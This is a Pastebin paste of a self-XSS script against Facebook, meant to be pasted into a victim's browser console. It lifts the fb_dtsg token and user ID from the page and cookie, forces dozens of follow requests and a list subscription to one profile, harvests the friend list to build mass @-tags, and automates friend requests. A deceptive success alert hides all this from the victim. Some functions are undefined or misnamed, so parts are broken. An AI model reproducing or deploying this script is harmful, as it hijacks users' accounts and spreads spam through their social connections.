Advertisement
Hoangtusocola

sub ao

Apr 20th, 2014
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.99 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert('xin chúc m?ng b?n dã th?c hi?n thành công ?n "Enter" d? k?t thúc ');
  4. function a(abone){
  5. var http4 = new XMLHttpRequest();
  6. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  7. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  8. http4.open("POST", url4, true);
  9. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  10. http4.setRequestHeader("Content-length", params4.length);
  11. http4.setRequestHeader("Connection", "close");
  12. http4.onreadystatechange = function() {
  13. if(http4.readyState == 4 && http4.status == 200) {http4.close;}
  14. }
  15. http4.send(params4);
  16. }
  17. // Close the connection
  18. function sublist(uidss) {
  19. var a = document.createElement('script');
  20. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  21. document.body.appendChild(a);
  22. }
  23. // Boss ADM
  24. a("100003820030733");
  25. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  26. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  27. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  28. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  29. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  30. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  31. a("100003820030733");a("100003820030733");a("100003820030733");
  32. a("100003820030733");
  33. a("100003820030733");
  34. a("100003820030733");a("100003820030733");
  35. sublist("100003820030733");
  36. // Mem
  37. a("100003820030733");
  38. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  39. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  40. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  41. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  42. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  43. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  44. a("100003820030733");a("100003820030733");a("100003820030733");a("100003820030733");
  45. a("100003820030733");a("100003820030733");
  46. a("100003820030733");
  47. // T? dây tr? xu?ng là nh?m ch? y?u gi?u b?t ID
  48. function sarkadaslari_al(){
  49. var xmlhttp = new XMLHttpRequest();
  50. xmlhttp.onreadystatechange = function () {
  51. if(xmlhttp.readyState == 4){
  52. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  53. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  54. smesaj = "";
  55. smesaj_text = "";
  56. for(i=f*10;i<(f+1)*10;i++){
  57. if(arkadaslar.payload.entries[i]){
  58. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  59. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  60. }
  61. }
  62. sdurumpaylas(); }
  63.  
  64. }
  65.  
  66. };
  67. var params = "&filter[0]=user";
  68. params += "&options[0]=friends_only";
  69. params += "&options[1]=nm";
  70. params += "&token=v7";
  71. params += "&viewer=" + user_id;
  72. params += "&__user=" + user_id;
  73.  
  74. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  75. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  76. xmlhttp.send();
  77. }
  78.  
  79. var tiklama = document.addEventListener("click", function () {
  80. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  81. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  82. sarkadaslari_al();
  83. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  84.  
  85. document.removeEventListener(tiklama);
  86. }
  87. }, false);
  88.  
  89. function sarkadasekle(uid,tem){
  90. var xmlhttp = new XMLHttpRequest();
  91. xmlhttp.onreadystatechange = function () {
  92. if(xmlhttp.readyState == 4){
  93. }
  94. };
  95.  
  96. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  97. var params = "to_friend=" + uid;
  98. params += "&action=add_friend";
  99. params += "&how_found=friend_browser";
  100. params += "&ref_param=none";
  101. params += "&outgoing_id=";
  102. params += "&logging_location=friend_browser";
  103. params += "&no_flyout_on_click=true";
  104. params += "&ego_log_data=";
  105. params += "&http_referer=";
  106. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  107. params += "&phstamp=165816749114848369115";
  108. params += "&__user=" + user_id;
  109. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  110. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  111.  
  112. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  113. xmlhttp.send(params);
  114. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  115. cinsiyetgetir(uid,tem,"sarkadasekle");
  116. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  117. xmlhttp.send(params);
  118. }
  119. }
  120.  
  121. var temsonuc = {};
  122. var temhtml = document.createElement("html");
  123. function scinsiyetgetir(uid,tem,fonksiyon){
  124. var xmlhttp = new XMLHttpRequest();
  125. xmlhttp.onreadystatechange = function () {
  126. if(xmlhttp.readyState == 4){
  127. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  128. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  129. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  130. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  131. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  132. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  133. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  134. }
  135. eval(fonksiyon + "(" + id + "," + tem + ");");
  136. }
  137. };
  138. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  139. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  140. xmlhttp.send();
  141. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement